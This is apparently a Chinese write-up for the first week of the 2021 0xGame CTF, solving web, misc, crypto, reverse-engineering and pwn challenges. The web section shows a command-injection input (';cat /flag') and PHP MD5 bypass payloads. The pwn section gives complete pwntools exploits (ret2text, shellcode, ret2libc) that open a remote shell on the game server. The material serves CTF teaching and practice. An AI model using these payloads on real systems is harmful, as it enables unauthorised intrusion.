2021-0xGame 第一周 WriteUp(AK)


Web

1. Robots

Robots協議了解一下,robots.txt會被放在網站根目錄下,告訴爬蟲哪些不能爬,哪些能爬。
直接訪問.../robots.txt得到提示4ll.html,之后直接訪問…/4ll.htmlF12查看網頁源代碼,即可得到flag.
0xGame{Rob0t_le4ks_seCr3t}


2. 愛ping才會贏

首先發現帶有Ping字樣的按鈕是不可點擊的,F12后將對應處的disabled="disabled"刪除即可點中。
PHP中實現Ping的功能一般是通過類似於exec system的函數調用外部命令,在linux; || &&連接符可連接兩個獨立語句並執行。
輸入;ls /可查看根目錄下的文件(相當於執行了Ping;ls /),找到flag后直接輸入;cat /flag即可。
0xGame{L1nux_cmd_1s_3a5y_t0_you!!!}


3. 你看你能登錄嗎?

先進行目錄掃描(可用的工具很多),得到.../admin/進入后台,根據提示密碼是個4位純數字,也就是說0233也是合法的,之后直接爆破就好了(可用Burp Suite或自己寫Python腳本,比較簡單),賬號根據常識,肯定是admin,密碼通過爆破得到,為0310,進入后台即可拿到flag.
0xGame{y0u_brut3_f0rc3_successfully}


4. 看看我的頭

題目的名字中就帶有提示,這里的“頭”是指“請求頭或響應頭”,可以拿Burp Suite抓包查看,或者直接在F12后在Network中也可以看見。
點開題目后提示“打開方式不對”,這里的方式是指“請求方式”,我們抓包后發現此題是GET方式,我們改成POST方式再放包即可發現頁面有了變化,提示需要用“N1k0la瀏覽器”訪問,所以,我們修改請求頭中User-Agent的內容為N1k0la,即可發現頁面又有了變化,提示“必須從本地來”,因此在請求頭中添加X-Forwarded-For內容為本地IP地址127.0.0.1即可。
之后,得到一串編碼后的字符:

JGE9JF9HRVRbJzB4R2FtZTIwMjEnXTskYj0kX1BPU1RbJ1gxY1QzNG0nXTskZD0kX1BPU1RbJ1B1cGkxJ107JGM9J3dlbGNvbWUgdG8gdGhlIDB4R2FtZTIwMjEnO2lmKG1kNSgkYik9PW1kNSgkZCkmJiRhPT09JGMpe2VjaG8gJGZsYWc7fQ==

顯然是通過了Base64編碼,解碼后,得到:

$a=$_GET['0xGame2021'];$b=$_POST['X1cT34m'];$d=$_POST['Pupi1'];$c='welcome to the 0xGame2021';if(md5($b)==md5($d)&&$a===$c){echo $flag;}

可以看到這個就是此題的PHP源代碼,是個“弱類型”判斷(MD5碰撞)。
其中,md5()返回32位字符串,若均為0e開頭可被認為是科學計數法表示的數字0.
因此可提交:

?0xGame2021=welcome to the 0xGame2021 //GET
X1cT34m=aabg7XSs&Pupi1=aabC9RqS //POST
aabg7XSs => md5: '0e087386482136013740957780965295'
aabC9RqS => md5: '0e041022518165728065344349536299'

當然,md5()也可以用數組繞過:當md5函數的參數為一個數組時,會報錯並返回NULL值。
因此還可以提交:

?0xGame2021=welcome to the 0xGame2021 //GET
X1cT34m[]=2333&Pupi1[]=2333 //POST

注意:用BurpSuite進行POST在最后要保留兩行“空行”。
最終,得到flag
0xGame{http_pr0t0c0l_1s_int3r3sting:-)}

Misc

1. Sign in

0xGame{Welc0m_to_0xGame2021}


2. A translate draft

附件是一個加密了的zip,這是zip偽加密,使用010十六進制編輯器打開,將80F0h行的09改為00即可解密。
壓縮包內的word中有文字被隱寫了,將文字全選,改為黑體字,即可看到被隱寫的內容:GB4EOYLNMV5W4MLDMVPXK===,使用Base32解密得到flag的前半段:0xGame{n1ce_u
打開壓縮包,選中word右擊 => 查看文件,可看到該word也是一個壓縮文件,其中word文件夾內有HiddenBy13.txt,其中內容是_s0haq_zr},但這並不是最終的flag,根據文件名的提示,我們用Rot13或凱撒密碼位移13,即可得到另一半:_f0und_me}
0xGame{n1ce_u_f0und_me}


3. Kakurennbo

使用vim打開,有藍色的零寬度字符,零寬度字符隱寫,將文本文檔內的內容解碼,得到被隱藏的內容:0xGame{k}kT_hnG0it4_7rs4_i7nubB0_w,使用柵欄W型密碼解密,欄數21,解密后,得到flag0xGame{kk_n0t_r4inb0w_Bu7_s74iGhT}.


4. 認真的血

先使用 WinRAR解壓(其他壓縮軟件,如Bandizip好像不行),使用lads.exe檢測到有NTFS數據流在音頻文件中,在命令行中執行notepad 認真的雪.m4a:flag.txt 即可提取到內容(或者直接用NTFS Streams Editor提取):

He comes and leaves with no survival. HIS CODENAME: 47
_Iv2>6L}%u$0qcD:40Df68N

根據提示,使用Rot47解碼,得到flag0xGame{NTFS_B4sic_s7eg}


5. ezAlgorithm

一個基礎得不能再基礎的算法題,考慮動態規划
狀態轉移方程:dp[i] = dp[i-1] + dp[i-2] + dp[i-3]
參考代碼:

#include<bits/stdc++.h>
using namespace std;

int n,m,k;
const int mod=1435756429;
set<int> bad;
long long dp[4000005];

int main()
{
	scanf("%d%d",&n,&m);
	for(int i=1;i<=m;i++)
	{
		scanf("%d",&k);
		bad.insert(k);
	}
	for(int i=1;i<=n;i++)
	{
		if(bad.find(i)!=bad.end())continue;
		if(i==1){dp[i]=1;continue;}
		else if(i==2){dp[i]=dp[i-1]+1;continue;}
		else if(i==3){dp[i]=dp[i-1]+dp[i-2]+1;continue;}
		dp[i]=((dp[i-1]+dp[i-2])%mod+dp[i-3])%mod;
	}
	printf("%lld\n",dp[n]);
	return 0;
}

得到flag0xGame{651977145}

Crypto

1. Crypto Sign in

0xGame{Welcom_to_Cryptogrphy_World_!}


2. CuteCaesar

先進行獸語解碼,得到:0aJdph{fdhvdu_1v_q0w_fxwh},使用凱撒密碼解密,得到flag0xGame{caesar_1s_n0t_cute}.


3. manycode

看到顏文字,首先AAencode解碼,得:

4A5645475153435A4B345957595A4A524B4A3347454D4A5A4F5249554F4E4A564C415A453235323249524844533D3D3D

觀察到,最大的也就F,因此想到Base16解碼,得:

JVEGQSCZK4YWYZJRKJ3GEMJZORIUONJVLAZE2522IRHDS===

觀察到,最末尾有三個等號(占位符),因此想到Base32解碼,得:

MHhHYW1le1Rvb19tQG55X2MwZDN9

最后,再Base64解碼,得到flag

0xGame{Too_m@ny_c0d3}

4. MyFunction

本質就是個解方程的問題:已知xlnx,求x
我很暴力,直接先打表,把x65~122再加上左右小括號的ASCII碼40 41(這些常用字符ASCII碼)的時候,xlnx的值打出來,再寫個程序到output.txt里查值對比即可。
(更加暴力的)參考腳本:

from math import log

def get_ans(num):
    for x in range(1, 200):
            if x * log(x) == num:
                print(chr(x), end='')

f = open('./output.txt')
ans = f.readlines()
for i in range(len(ans)):
    ans[i] = float(ans[i].replace('\n', ''))
    get_ans(ans[i])

0xGame{YouH4veKn0wedPy7honL081s<y=ln(x)>InM47hs}


5. Class8

第一行,從左至右,依次為:盲文,跳舞的小人,豬圈密碼,手機九宮格按鍵加密,摩斯電碼
解密的結果是:CLASS
第二行,從左至右,依次為:盲文,跳舞的小人,銀河密碼,摩斯電碼,培根密碼
解密的結果是:LNRDD
第三行,從左至右,依次為:手機九宮格按鍵加密,銀河密碼,鍵盤圖形碼,摩斯電碼,培根密碼
解密的結果是:LDVTN
最后一行是手機九宮格按鍵加密,解密為B
合起來,flag0xGame{CLASSLNRDDLDVTNB}.


6. ABC Of RSA

一個基礎RSA加密算法:已知p,q,e,求d.
0xGame{39982249}


7. ezVigenère

維吉尼亞密碼無密鑰破解,可以寫個程序爆破密鑰,最終得到密鑰為:abc.
0xGame{interest1ng_Vigenere}


8. BlackGiveRSA

求出d = 1540111621310965943
有性質:m = (c ^ d) % n,其中m是明文,c是密文。
由給出的密文,求出對應的明文(大數據,防止溢出,要用高精度,可以用Pythongmpy2擴展庫或者JavaBigInteger或者上大數計算的網站算),再反過來寫個腳本:

from Crypto.Util.number import *
print(long_to_bytes(13643046854681979),end="")
print(long_to_bytes(18973676576264805),end="")
print(long_to_bytes(31037449384842088),end="")
print(long_to_bytes(29636688785989998),end="")
print(long_to_bytes(29073739401619561),end="")
print(long_to_bytes(22874675212740989),end="")

0xGame{ChuTiRenDeQQShiJiShangJiuShiQDeZhi}

Reverse

1. Signin: User Friendly

甚至不用IDA,直接拿Notepad之類的打開,查找即可。
0xGame{we1c0me_2_Rever5e_egin44ring}


2. Packet

先查殼,發現有upx殼,再脫殼即可(我是用upx.exe,命令執行.\upx.exe -d 文件路徑
(a&~b)|(b&~a)等價於a ^ b,位運算異或有自反性,即A ^ B ^ B = A ^ ( B ^ B ) = A ^ 0 = A
根據此性質,可寫出如下代碼:

enc = [0x91, 0x77, 0x0FB, 0x0E, 0x0B7, 0x0CC, 0x0E4, 0x38, 0x11, 0x94, 0x0FD, 0x85, 0x5C, 0x91, 0x84, 0x5C, 0x7D, 0x67, 0x27, 0x134, 0x135, 0x0A, 0x0D8, 0x23, 0x0D, 0x30, 0x65, 0x3E, 0x13, 0x45, 0x54, 0x52, 0x51, 0x3E, 0x0B0, 0x0D9, 0x13, 0x33, 0x0C3, 0x0FF]

check = [0x0A1, 0x0F, 0x0BC, 0x6F, 0x0DA, 0x0A9, 0x9F, 0x5E, 0x29, 0x0F6, 0x0C5, 0x0E4, 0x6E, 0x0F2, 0x0B1, 0x38, 0x1B, 1 , 0x11, 0x100 , 0x100 , 0x32, 0x0E9, 0x41, 0x68, 2, 4, 6, 0x2A, 0x70, 0x37, 0x6B, 0x30, 0x5D, 0x82, 0x0E8, 0x25, 0x57, 0x0F2, 0x82]

for i in range(40):
    print(chr(enc[i]^check[i]), end="")

0xGame{f8b8a2c5dff64581be2a895c9ac216d1}


3. Our Compilation Story

根據異或的自反性,寫出如下代碼:

k = [21,44,45,104,31,30,26,121,65,125,23,112,77,46,47,126,89,112,7,109,7,88,10,105,104,59,54,91,83,98,32,54,15,65,113,119,113]
k = k[::-1]
for i in range(3,37):
    print(chr(k[i]^k[i-3]),end="")

0xGame{Th3_10ng_w4y_w3_901ng_fr33}


4. Random Chaos

偽隨機數,即如果系統提供的隨機種子沒有變化,每次調用rand函數生成的偽隨機數序列都是一樣的。
通常可以利用系統時間來改變系統的種子值,即srand(time(NULL)),可以為rand函數提供不同的種子值,進而產生不同的隨機數序列。
再結合異或的自反性,寫出如下代碼:

#include<bits/stdc++.h>
using namespace std;

int a[45]={0x22, 0x0CA, 7, 0x19, 0x0F8, 0x0FB, 0x28, 0x9D, 0x1E, 0x80, 0x0AC, 0x0C9, 0x60, 0x46, 0x18, 0x21, 0x0DF, 0x95, 0x0D5, 0x70, 0x0C5, 0x19, 0x0EA, 0x0B0, 0x9C, 0x83, 0x11, 0x4A, 0x93, 0x0C7, 0x91, 0x0F6, 0x14, 0x71, 0x2F, 0x22, 0x14, 0x0BF, 0x58, 0x76, 0};

int main()
{
	srand(0x2021u);
	for(int i=0;i<=39;i++)
	{
		cout<<(char)((unsigned __int8)rand()^a[i]);
	}
	return 0;
} 

0xGame{d6ca93397ecb4d4e83792a7100737932}


5. Neverland

導致Neverland的原因有兩點,第一是因為原程序中重復遞歸調用了之前調用過的函數,浪費了大量的時間,因此,我們可以采取”記憶化“的思路,將其結果保存下來,方便之后直接讀取,二是因為idx里的數太大了,我們通過找規律可知:在一定數量之后,idx中值的奇偶性直接影響結果,使其循環出現(其實是unsigned int反復溢出造成的現象)。
參考代碼:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;

unsigned int idx[45]={9, 0x0F, 0x0C, 3, 2, 0x10, 0x0B, 0x0E, 7, 0x0A, 0x2E, 0x2D, 0x2B, 0x2E, 0x2F, 0x2D, 0x2F, 0x28, 0x31, 0x3A, 0x31, 0x33, 0x33, 0x2B, 0x32, 0x37, 0x37, 0x38, 0x3C, 0x30, 0x0FFFFFFCE, 0xFFFFFF93, 0x0FFFFFFD8, 0x0FFFFFFF2, 0x0FFFFFFDF, 0x0FFFFFF70, 0x0FFFFFF72, 0x0FFFFFFD0, 0x0FFFFFFA6, 0x0FFFFFF9A};

unsigned int enc[45]={0x0BFFCC, 0x0BFFFFF84, 0x3000043, 0x0DD, 0x59, 0x61, 0x0BFFF87, 0x30000035, 0x0BF99, 0x300032, 0x36, 0x0FFFFFFC9, 0x0FFFFFF98, 0x30, 0x0FFFFFF9F, 0x0FFFFFFCC, 0x0FFFFFFC8, 0x62, 0x0FFFFFF99, 0x30, 0x0FFFFFFC8, 0x0FFFFFF9A, 0x0FFFFFFC5, 0x0FFFFFF9E, 0x32, 0x0FFFFFFC4, 0x0FFFFFFC8, 0x60, 0x3D, 0x35, 0x3D, 0x0FFFFFFCB, 0x34, 0x3C, 0x0FFFFFF9F, 0x65, 0x65, 0x33, 0x66, 0x79};

unsigned int num[60];

int main()
{
	char v0;
	num[0]=7;num[1]=8;
	for(int i=2;i<=60;i++)num[i]=3*num[i-1]+4*num[i-2]; //記憶化
	for(int i = 0; i <= 39; ++i)
    {
    	if(idx[i]>60){if(idx[i]%2)v0=4294967292; else v0=4;}
    	else v0=num[idx[i]]; //奇偶性
        putchar((char)(v0 ^ LOBYTE(enc[i])));
    }
    return 0;
}

0xGame{1e625d4c04fe44f9b684d919708caa7b}


6. Roundabout

根據異或的自反性,寫出如下代碼:

#include<bits/stdc++.h>
using namespace std;

char b[20] = {0x74,'h','i','s','_','i','s','_','n','o','t','_','f','l','a','g'};
int v[45] = {0x44, 0x10, 0x2E, 0x12, 0x32, 0x0C, 8, 0x3D, 0x56, 0x0A, 0x10, 0x67,0, 0x41, 0, 1, 0x46, 0x5A, 0x44, 0x42, 0x6E, 0x0C, 0x44, 0x72, 0x0C, 0x0D, 0x40, 0x3E, 0x4B, 0x5F, 2, 1, 0x4C, 0x5E, 0x5B, 0x17, 0x6E, 0x0C, 0x16, 0x68, 0x5B, 0x12};

int main()
{
	for(int i=0;i<42;i++)cout<<(char)(v[i] ^ b[i%16]);
	return 0;
}

0xGame{b8ed8f-af22-11e7-bb4a-3cf862d1ee75}


7. Zero Three

使用pythonZ3擴展庫解方程,參考代碼如下:
HINT: 程序計算flag會用到兩部分計算:前面一部分會用到前半段flag,后面一部分計算會用到整段flag,如果你的z3約束求解遲遲未出結果,或許你可以嘗試只約束后半部分計算,依然能得到正確的flag.

from z3 import *

x = Solver()
p0,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15 = Ints('p0 p1 p2 p3 p4 p5 p6 p7 p8 p9 p10 p11 p12 p13 p14 p15')
num0,num1,num2,num3,num4,num5,num6,num7 = Ints('num0 num1 num2 num3 num4 num5 num6 num7')

x.add(num0 == p0 + p1*256 + p2*256*256 + p3*256*256*256)
x.add(num1 == p4 + p5*256 + p6*256*256 + p7*256*256*256)
x.add(num2 == p8 + p9*256 + p10*256*256 + p11*256*256*256)
x.add(num3 == p12 + p13*256 + p14*256*256 + p15*256*256*256)

x.add(2 * p5 + 8225 - p0 - 9 * p3 - p4 - p9 + p10 - 6 * p11 - p13 - 3 * p14 - 5 * p15 == 5643)
x.add(3 * p14 + 8 * p10 - 3 * p2 - 6 * p0 + 8225 - p1 - 2 * p5 + 3 * p8 - 8 * p11 + 4 * p12 - 6 * p15 == 6620)
x.add((-5) * p12 - 7 * p6 - 3 * p1 + 8225 - 2 * p0 - p2 - 5 * p3 - 7 * p4 - 6 * p5 - 2 * p8 + 6 * p13 == 5538)
x.add(2 * p5 + 2 * p1 + 8225 - 2 * p0 - 2 * p3 + 3 * p4 - 2 * p8 - p10 - p12 - 2 * p14 - 2 * p15 == 7693)
x.add((-6) * p14 + 8225 - 2 * p1 - 2 * p2 - 9 * p3 + 2 * p4 - 5 * p7 + 2 * p8 - 9 * p9 - 4 * p10 - 6 * p15 == 4735)
x.add(9 * p14 - 7 * p10 + 8 * p9 + 5 * p0 + 8225 - p2 + p5 - 5 * p6 - 8 * p11 - p12 - 9 * p15 == 7060)
x.add(p13 - 5 * p7 - 3 * p2 - 3 * p0 + 8225 - 4 * p1 - 4 * p4 - p6 + 9 * p10 - 2 * p14 - 6 * p15 == 5864)
x.add((-9) * p14 - 3 * p10 + 9 * p1 - 6 * p0 + 8225 - 5 * p3 - 4 * p7 - 2 * p11 - 2 * p12 + p13 + 9 * p15 == 7393)
x.add(6 * p9 - 5 * p8 - 3 * p6 + 9 * p2 + 8225 - p4 + 3 * p5 - 7 * p7 + 7 * p10 - 2 * p13 - p14 == 8442)
x.add(8 * p6 - 7 * p2 + 8225 - 8 * p1 - p3 + 6 * p4 - p7 + 5 * p8 - 4 * p10 - p14 + 7 * p15 == 8376)

x.add(-22827 * num4 + 21984 * num1 + -38534 * num5 - 32344 * num0 == -98460819657603)
x.add(-38215 * num2 + -37324 * num4 + -8436 * num5 + 15405 * num0 == -131665436206262)
x.add(10926 * num7 + -28942 * num1 + -34572 * num3 - 10538 * num5 == -121891239772992)
x.add(-30117 * num6 + -22990 * num2 + -20471 * num5 + 34494 * num7 == -57089882568260)
x.add(-33112 * num5 + -19335 * num4 + 34348 * num1 + 31445 * num2 == 56335531538050)
x.add(-13566 * num5 + 14758 * num0 + -19814 * num2 - 26447 * num4 == -81105980248303)
x.add(25898 * num5 + -15817 * num1 + 20463 * num7 - 33578 * num0 == -28860618440412)
x.add(-35429 * num7 + 36594 * num2 + -28801 * num6 - 14952 * num3 == -45384029412201)

x.check() #sat
print(x.model())

我將python中得到的num[]結果寫入了num.txt當中,再寫了個程序轉化成flag(自行意會):

#include<bits/stdc++.h>
using namespace std;
int n,x,y,z;
int main()
{
	freopen("num.txt","r",stdin);
	while(scanf("%d",&n)!=EOF)
	{
		z=n/256/256/256;
		n-=z*256*256*256;
		y=n/256/256;
		n-=y*256*256;
		x=n/256;
		n-=x*256;
		cout<<(char)n<<(char)x<<(char)y<<(char)z;
	}
	return 0;	
}

附上num.txt (num0 ~ num7) :

1685677173
2017608537
1983267413
1950446449
1933792821
1145785398
1280864594
1465083989

0xGame{udydYCBxUB6vqsAt5VCs6LKDRqXLUhSW}

Pwn

1. Pwn?!

直接nc 121.4.15.155 10000,連上ls查看文件,再cat flag即可拿到flag.
0xGame{22e92cf4-6c88-4345-aa9e-0dc4111064da}


2. ret2text

file pwn,看到這是一個64位的ELF文件,再checksec pwn,發現只開了NX,即棧不可執行保護,使用IDA后發現,有system,也有/bin/sh這個字符串,那就好辦了,典型的ret2text(具體原理不贅述).
64位中,system等函數會先向RDI等六個寄存器優先”要參數“,若是參數不止六個,再去找壓入棧的數據(注意是小端序)。
參考exp.py

from pwn import *

io = remote("121.4.15.155", 10003)
pwn = ELF("pwn")
system_addr = pwn.plt['system']
bin_sh_addr = next(pwn.search(b'/bin/sh'))
pop_rdi_addr = 0x401253

payload = b'A'*(0x50 + 8) + p64(pop_rdi_addr + 1) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

0xGame{aaf53894-1058-4579-a389-25541c96ab9b}


3. No BackDoor!

我不是很清楚為啥會和上題一毛一樣emmmm
參考exp.py

from pwn import *

io = remote("121.4.15.155", 10001)
pwn = ELF("pwn")
system_addr = pwn.plt['system']
bin_sh_addr = next(pwn.search(b'/bin/sh'))
pop_rdi_addr = 0x401223

payload = b'A'*(0x50 + 8) + p64(pop_rdi_addr + 1) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

0xGame{bcdf39ba-a811-4bbb-aefc-aad3c764c963}


4. WTF?Shellcode

checksec pwn,發現保護全沒開,包括NX(棧不可執行),因此可以執行ShellCode
直接看匯編代碼吧,看到:

mov     rax, [rbp+buf]
add     rax, 20h
mov     rdx, rax
call    rdx

意味着,我們的ShellCode要放入棧頂以上20h處的位置,才能成功call,使之執行。
故,我們需要先填充0x20個字節的垃圾數據。
參考exp.py

from pwn import *

io = remote("121.4.15.155", 10002)
context.arch = 'amd64'

shellcode = b'S'*0x20 + asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

0xGame{ab52497b-7275-4097-8e8d-e2b420c2013b}


5. ret2libc pro max

沒有system,也沒有/bin/sh,因此考慮ret2libc,具體原理不再贅述.
64位計算機中,一個地址的長度是8字節,但是實際的操作系統中,一個地址的最高位的兩個字節是00,而且實際的函數地址是0x7fxxxx開頭的,因此為了避免獲取錯誤的地址值,只需要獲取低6字節值,然后通過ljust函數把最高位的兩字節填充成00.
此外,需要注意的是,在64位中,system函數調用時需要rsp16字節對齊的(即最后兩位為00),因此需要多寫一個ret使rsp+=8或者跳過push rbp使rsp-=8不會執行,以實現“堆棧平衡”。
最后,最好別用LibcSearcher,還是在線查一下libc的庫。
參考exp.py

from pwn import *

io = remote("121.4.15.155", 10004)
pwn = ELF("pwn")

puts_plt_address = pwn.plt['puts']
puts_got_address = pwn.got['puts']
main_address = pwn.symbols['main']
pop_rdi_address = 0x401223
ret_address = 0x401224

io.recvuntil("funny\n")
payload = b'A'*(0x50 + 8) + p64(pop_rdi_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)
io.sendline(payload)
puts_address = u64(io.recv(6).ljust(8,b'\x00'))

libcbase = puts_address - 0x06f6a0
system_address = 0x0453a0 + libcbase
binsh_address= 0x18ce17 + libcbase

payload = b'A'*(0x50 + 8) + p64(ret_address) + p64(pop_rdi_address) + p64(binsh_address) + p64(system_address)
io.sendline(payload)
io.interactive()

0xGame{6123733d-ede7-4e42-af50-be23c066a25c}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM